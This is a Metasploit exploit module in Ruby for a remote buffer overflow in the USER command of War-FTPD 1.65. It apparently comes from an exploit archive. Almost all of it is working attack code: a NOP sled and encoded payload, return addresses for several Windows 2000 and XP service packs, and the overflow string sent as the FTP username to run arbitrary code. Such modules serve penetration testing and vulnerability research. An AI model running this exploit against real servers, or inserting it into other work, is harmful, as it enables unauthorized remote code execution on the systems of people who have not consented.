War-FTPD 1.65 – ‘Username’ Remote Overflow (Metasploit)
## # $Id: warftpd_165_user.rb 9669 2010-07-03 03:13:45Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'War-FTPD 1.65 Username Overflow', 'Description' => %q{ This module exploits a buffer overflow found in the USER command of War-FTPD 1.65. }, 'Author' => 'Fairuzan Roslan <riaf [at] mysec.org>', 'License' => BSD_LICENSE, 'Version' => '$Revision: 9669 $', 'References' => [ [ 'CVE', '1999-0256'], [ 'OSVDB', '875' ], [ 'BID', '10078' ], [ 'URL', 'http://lists.insecure.org/lists/bugtraq/1998/Feb/0014.html' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process' }, 'Payload' => { 'Space' => 424, 'BadChars' => "\x00\x0a\x0d\x40", 'StackAdjustment' => -3500, 'Compat' => { 'ConnectionType' => "-find" } }, 'Platform' => 'win', 'Targets' => [ # Target 0 [ 'Windows 2000 SP0-SP4 English', { 'Ret' => 0x750231e2 # ws2help.dll }, ], # Target 1 [ 'Windows XP SP0-SP1 English', { 'Ret' => 0x71ab1d54 # push esp, ret } ], # Target 2 [ 'Windows XP SP2 English', { 'Ret' => 0x71ab9372 # push esp, ret } ], # Target 3 [ 'Windows XP SP3 English', { 'Ret' => 0x71ab2b53 # push esp, ret } ] ], 'DisclosureDate' => 'Mar 19 1998')) end def exploit connect print_status("Trying target #{target.name}...") buf = make_nops(600) + payload.encoded buf[485, 4] = [ target.ret ].pack('V') send_cmd( ['USER', buf] , false ) handler disconnect end end |